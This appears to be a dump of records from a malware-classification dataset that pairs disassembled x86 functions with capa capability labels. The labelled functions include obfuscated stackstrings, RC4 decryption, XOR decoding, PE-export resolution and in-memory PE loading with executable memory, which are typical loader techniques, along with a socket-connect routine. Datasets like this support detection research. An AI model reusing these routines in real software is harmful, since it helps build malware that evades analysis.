joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403b80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push eax
call edi
push str.lstrcatA
push str.KERNEL32.dll
mov ebx, eax
call esi
push eax
call edi
push str.lstrcpyA
push str.KERNEL32.dll
mov ebp, eax
call esi
push eax
call edi
mov esi, eax
lea eax, [esp + 0x40]
push 0x104
push eax
call ebx
mov al, 0x65
mov dl, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x26], dl
mov byte [esp + 0x2e], al
mov byte [esp + 0x32], al
mov byte [esp + 0x38], al
mov byte [esp + 0x3a], al
mov byte [esp + 0x3c], al
mov cl, 0x72
mov bl, 0x6c
mov dl, 0x78
xor al, al
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], 0x50
mov byte [esp + 0x12], cl
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], 0x67
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6d
mov byte [esp + 0x18], 0x20
mov byte [esp + 0x19], 0x46
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x49
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x23], cl
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x27], 0x20
mov byte [esp + 0x28], 0x45
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x70
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2f], cl
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x6f
mov byte [esp + 0x37], cl
mov byte [esp + 0x39], 0x2e
mov byte [esp + 0x3b], dl
mov byte [esp + 0x3d], al
mov byte [esp + 0x42], al
lea ecx, [esp + 0x10]
lea edx, [esp + 0x40]
push ecx
push edx
call ebp
mov ecx, dword [esp + 0x148]
lea eax, [esp + 0x40]
push eax
push ecx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x134
ret

Function at 0x4055b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ce
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40560f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x10001496
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x80
mov eax, esp
mov dword [eax + 4], 0x2eb
mov dword [eax], 0x2542a4
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
xor ecx, ecx
lea edx, [esp + 0x60]
mov dword [esp + 0x5c], eax
mov dword [esp + 0x58], edx
mov dword [esp + 0x54], ecx
mov eax, dword [esp + 0x54]
xor ecx, ecx
mov edx, esp
mov dword [edx], 0x63f80a
mov edx, dword [sym.imp.USER32.dll_SetFocus]
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], ecx
call edx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0xdb1045
mov ecx, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 8], 0x634
mov dword [ecx + 4], 0xb67f0d
mov dword [ecx], 0x896e5a
mov ecx, dword [sym.imp.GDI32.dll_ExtSelectClipRgn]
mov dword [esp + 0x44], eax
call ecx
sub esp, 0xc
xor ecx, ecx
mov edx, dword [esp + 0x50]
sub edx, 0x2e
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x38], edx
je 0x100015ba
jmp 0x10001544
mov eax, dword [esp + 0x50]
sub eax, 1
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
jne 0x100015fe
jmp 0x1000155f
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call eax
xor ecx, ecx
mov edx, 0x18
mov esi, dword [esp + 0x58]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x18
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], edx
call fcn.100056d0
mov eax, esp
lea ecx, [esp + 0x60]
mov dword [eax], ecx
mov dword [eax + 4], 0xfe6
mov eax, dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
call eax
sub esp, 8
mov dword [esp + 0x20], eax
jmp 0x10001633
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, esp
mov dword [eax], 0x178594
mov eax, dword [sym.imp.GDI32.dll_BeginPath]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x52df89
mov ecx, dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
mov dword [esp + 0x1c], eax
call ecx
sub esp, 4
mov eax, esp
mov dword [eax], 0x4cf98d
mov eax, dword [sym.imp.GDI32.dll_GetBkColor]
call eax
sub esp, 4
mov dword [esp + 0x18], eax
jmp 0x1000155f
mov eax, dword [esp + 0x30]
mov ecx, esp
mov dword [ecx], 0x9af
mov ecx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov dword [esp + 0x14], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x14]
add ecx, 1
cmp ecx, 0xa
mov dword [esp + 0x10], eax
mov dword [esp + 0x30], ecx
jne 0x100015fe
mov eax, dword [esp + 0x50]
add eax, 1
cmp eax, 0xfa
mov dword [esp + 0x54], eax
je 0x100015b4
jmp 0x100014ce

Function at 0x10005adc
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1022e6b0]
jne 0x10005ae6
repz ret
jmp fcn.10005d8d
Function at 0x1000654d
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, 0x20f3
mov dword [0x1022e68c], 0x20f3
mov dword [0x1022e698], 0
mov byte [0x1022e69c], 0
mov dword [0x1022e690], 0x1f84
mov dword [0x1022e694], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
jmp 0x100065cb
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x1022e694], 0
mov ecx, dword [ebp - 0x24]
add ecx, 0x1856
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1000661e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov edx, ecx
mov bl, dl
add eax, 0xffffed74
mov dword [0x1022e690], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], bl
mov ecx, dword [0x1022e690]
mov edx, ecx
add edx, 0x22fb
mov dword [0x1022e68c], edx
mov esi, dword [0x1022e694]
add esi, 1
mov dword [0x1022e694], esi
cmp esi, 0x100
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edx
jl 0x100065cb
jmp 0x100065ae
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, 0x23e
mov esi, 0x100
mov dword [ebp - 0x30], eax
xor edi, edi
mov dword [ebp - 0x34], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x1022e6a0], 0
mov dword [0x1022e690], ecx
mov ecx, dword [0x1022e698]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x30]
movzx edi, byte [ebx + edi]
add edi, ecx
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + edx]
add edi, edx
mov dword [0x1022e6a0], edi
mov eax, edi
cdq
idiv esi
mov dword [0x1022e698], edx
mov dword [0x1022e68c], 0x133c
mov esi, dword [ebp - 0x30]
mov cl, byte [ebx + esi]
mov byte [0x1022e69c], cl
mov dword [0x1022e690], 0x2285
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1022e69c]
mov edx, dword [0x1022e698]
mov byte [ebx + edx], cl
mov dword [0x1022e68c], 0xce3
mov edx, dword [0x1022e694]
add edx, 1
mov dword [0x1022e694], edx
cmp edx, 0x100
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], edx
jl 0x1000661e
jmp 0x100065a6
Function at 0x10006766
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1022e690], 0x1669
mov dword [0x1022e68c], 0x5a0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x1000689a
lea eax, [ebp - 0x20]
mov dword [0x1022e68c], 0x26eb
mov dword [0x1022e690], 0x7fc
mov dword [ebp - 0x30], eax
call fcn.100070ad
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.1000616f
xor ecx, ecx
mov dword [0x1022e68c], 0x79
cmp eax, 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
jne 0x100067e5
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
mov eax, dword [ebp - 0x34]
mov dword [0x1022e68c], 0xb1f
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x1022e68c], 0xc6
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.1000637f
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x1022e68c], 0xf02
mov edx, dword [ebp - 0x28]
mov dword [edx + 0xc], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x58], ecx
mov dword [0x1022e690], 0x123a
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x100067dd
mov dword [0x1022e690], 0x1815
mov eax, dword [ebp - 0x3c]
add eax, 0x172f
mov dword [ebp - 0x38], eax
jmp 0x100067dd
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1022a542]
mov dh, byte [eax + 0x1022a513]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
je 0x10006796
jmp 0x1000689a
Function at 0x10006981
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [ebp + 8]
mov ecx, dword [0x1022e690]
add ecx, 0xfffff6df
mov dword [0x1022e68c], ecx
mov dword [0x1022e690], 0x1131
mov dword [ebp - 0x10], eax
call fcn.10007471
xor ecx, ecx
mov edx, eax
mov dword [0x1022e690], 0x1283
mov dword [0x1022e68c], 0x15c6
mov esi, dword [eax + 0x3c]
mov dword [0x1022e690], 0x8cd
mov esi, dword [eax + esi + 0x78]
mov dword [0x1022e690], 0x3582
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x1022e68c], 0xffffecce
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10006afb
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + ecx*4]
mov dword [0x1022e68c], 0x2c61
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x38]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x10006a99
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x3c], eax
jne 0x10006a48
mov al, byte [ebp - 0x42]
test al, 1
jne 0x10006acc
jmp 0x10006aa2
xor eax, eax
mov ecx, dword [ebp - 0x30]
add ecx, 2
mov edx, dword [ebp - 0x34]
add edx, 1
mov esi, dword [ebp - 0x18]
cmp edx, esi
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
jb 0x10006a24
jmp 0x10006afb
mov eax, dword [ebp - 0x30]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
add edx, dword [edx + esi + 0x1c]
mov dword [0x1022e690], 0x553
mov ecx, dword [edx + ecx*4]
mov dword [0x1022e68c], 0x15a4
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10006b06
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x1022e690], 0x1d26
mov dword [0x1022e68c], 0x60c
mov edx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], ecx
jmp 0x10006bc2
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
lea edx, section..data
imul esi, eax, 0x1c
mov edi, edx
add edi, esi
mov esi, eax
add esi, 1
imul ebx, eax, 0x1c
mov dword [ebp - 0x44], eax
mov eax, edx
add eax, ebx
add eax, 0x14
mov ebx, dword [ebp - 0x44]
imul ebx, ebx, 0x1c
add edx, ebx
add edx, 0x18
mov ebx, dword [ebp - 0x48]
add ebx, ecx
mov edx, dword [edx]
mov edi, dword [edi]
movzx eax, word [eax]
xor eax, edx
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], eax
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
call fcn.100073cc
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
add eax, ecx
mov edx, dword [ebp - 0x4c]
cmp edx, 0x1f2
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], eax
je 0x10006cc9
jmp 0x10006b38
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0x1c
mov edi, edx
add edi, esi
add edi, 0x18
imul esi, eax, 0x1c
add edx, esi
add edx, 0x14
add eax, 1
mov esi, dword [edi]
movzx edx, word [edx]
xor edx, esi
add edx, ecx
cmp eax, 0x1f2
mov ecx, edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x38], eax
jne 0x10006bc2
xor eax, eax
mov dword [0x1022e690], 0x780
mov dword [0x1022e68c], 0x5a0
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1022a542]
mov dh, byte [eax + 0x1022a513]
sub dh, dl
mov byte [ebp + eax - 0x2c], dh
cmp ecx, 0xe
mov dword [ebp - 0x5c], ecx
jne 0x10006c25
lea eax, [ebp - 0x2c]
mov dword [0x1022e68c], 0xfffe294f
mov dword [0x1022e690], 0xfffe0a60
mov dword [ebp - 0x60], eax
call fcn.100070ad
mov dword [esp], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
call fcn.1000616f
mov ecx, eax
mov dword [0x1022e6a8], eax
mov eax, esp
mov edx, dword [ebp - 0x58]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, dword [0x1022e68c]
add edx, 0xffffe776
mov dword [0x1022e68c], edx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
jmp 0x10006b38
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x58]
mov dword [esp + 8], ecx
call fcn.10007000
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x5f0e2
mov edx, dword [ebp - 0x48]
add edx, 0x9b6dc
mov esi, dword [ebp - 0x30]
mov dword [esi], edx
mov dword [esi + 4], 0x16f200
mov dword [esi + 8], ecx
mov ecx, dword [0x1022e68c]
add ecx, 0x1cd8
mov dword [0x1022e690], ecx
mov dword [esi + 0xc], 0x20c0
mov ecx, dword [0x1022e690]
add ecx, 0xffffe7ff
mov dword [0x1022e690], ecx
add esp, 0x64
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100071ec
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [0x1022e68c], 0x1557
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x1022e690], 0x43b
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x1000725c
jmp 0x10007273
mov eax, 1
mov dword [0x1022e68c], 0x720
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add esp, 0x20
pop ebp
ret
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x10007296
jmp 0x1000732a
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [0x1022e68c], 0x96f
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x1000722a
jmp 0x1000725c
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1000732a
mov dword [0x1022e68c], 0xffffeee6
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x1000732a
mov dword [0x1022e690], 0xffffd45e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1000732a
mov dword [0x1022e690], 0xfffff81a
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x1000732a
mov dword [0x1022e68c], 0x2244
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x1000732a
mov dword [0x1022e690], 0x220f
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0xe], 0x6c
je 0x10007242
xor eax, eax
mov dword [0x1022e690], 0xe66
mov dword [ebp - 0x1c], eax
jmp 0x10007254
Function at 0x10007609
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1022e694], 0
mov dword [0x1022e698], 0
mov dword [0x1022e6a4], 0
mov ebx, dword [0x1022e68c]
add ebx, 0xffffe9e9
mov dword [0x1022e690], ebx
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
je 0x1000776d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
add esi, 1
mov ebx, edx
add ebx, 1
add eax, 0xffffe742
mov dword [ebp - 0x30], eax
mov eax, esi
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x1022e694], edx
mov dword [0x1022e68c], 0x1896
mov esi, dword [ebp - 0x24]
movzx esi, byte [esi + edx]
add esi, ecx
mov eax, esi
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x1022e698], edx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x1022e69c], cl
mov edi, dword [ebp - 0x30]
mov dword [0x1022e68c], edi
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x1022e69c]
mov edx, dword [0x1022e698]
mov byte [edi + edx], cl
mov edx, dword [0x1022e68c]
add edx, 0xffffee17
mov dword [0x1022e690], edx
mov edx, dword [0x1022e694]
movzx edx, byte [edi + edx]
mov ecx, dword [0x1022e698]
movzx ecx, byte [edi + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x1022e6a4], ecx
mov dword [0x1022e68c], 0x1309
mov cl, byte [edi + ecx]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov ch, byte [edx + esi]
mov dword [0x1022e690], 0x904
xor ch, cl
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], ch
mov dword [0x1022e68c], 0x1ce0
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x3c], ebx
jne 0x1000777f
mov dword [0x1022e68c], 0x129a
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x1022e698]
mov ecx, dword [0x1022e694]
mov edx, dword [0x1022e690]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x2c], edx
jmp 0x10007677
Function at 0x100077a4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov edx, dword [0x1022e68c]
add edx, 0x148
mov dword [0x1022e690], edx
mov dword [0x1022e68c], 0x1530
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10006b06
lea ecx, [0x100064d1]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x28], edx
mov dword [esp + 0x60], 0x16f200
mov edx, dword [0x1022e678]
mov dword [esp + 0x3c], edx
mov edx, dword [0x1022e67c]
mov dword [esp + 0x34], edx
mov edx, dword [0x1022e680]
mov dword [esp + 0x48], edx
mov edx, dword [0x1022e684]
mov dword [esp + 0x20], edx
mov edx, dword [0x1022e688]
mov dword [esp + 0x64], edx
mov dword [0x1022e68c], 0xfe6
mov dword [0x1022e690], 0xf09
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
jmp 0x10007854
mov eax, dword [esp + 0x10]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0xc], eax
jne 0x10007877
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 8], ecx
je 0x10007895
mov dword [0x1022e68c], 0x1c76
mov eax, dword [esp + 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10007854
mov eax, dword [esp + 0xc]
mov dword [esp + 0x38], eax
mov dword [0x1022e68c], 0x15c6
mov ecx, dword [esp + 8]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x24], edx
mov dword [0x1022e690], 0x10f6
call fcn.100071ec
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
jne 0x1000784c
lea eax, [esp + 0x20]
mov ecx, dword [0x1022e68c]
add ecx, 0xffffdda3
mov dword [0x1022e690], ecx
mov ecx, dword [esp + 0x88]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10006766
mov ecx, esp
lea edx, [esp + 0x20]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov ecx, dword [0x1022e68c]
add ecx, 0xffffe64c
mov dword [0x1022e68c], ecx
mov dword [esp + 0x10], eax
jmp 0x1000784c
Function at 0x1002a200
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e8858
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.Entered_ADALGetPasswordChangeUrl
push 0
mov dword [ebp - 4], 0
call fcn.10045e40
add esp, 8
push 0
call dword [sym.imp.kernel32.dll_SetLastError]
push dword [ebp + 8]
call fcn.100aee10
mov edi, eax
add esp, 4
lea eax, [ebp - 0x14]
mov ecx, dword [edi]
push eax
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push dword [ebp + 0xc]
push eax
call fcn.100aee10
mov edx, dword [ebp - 0x14]
add esp, 0xc
mov ebx, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x1002a2a7
mov edi, dword [edx]
push edx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc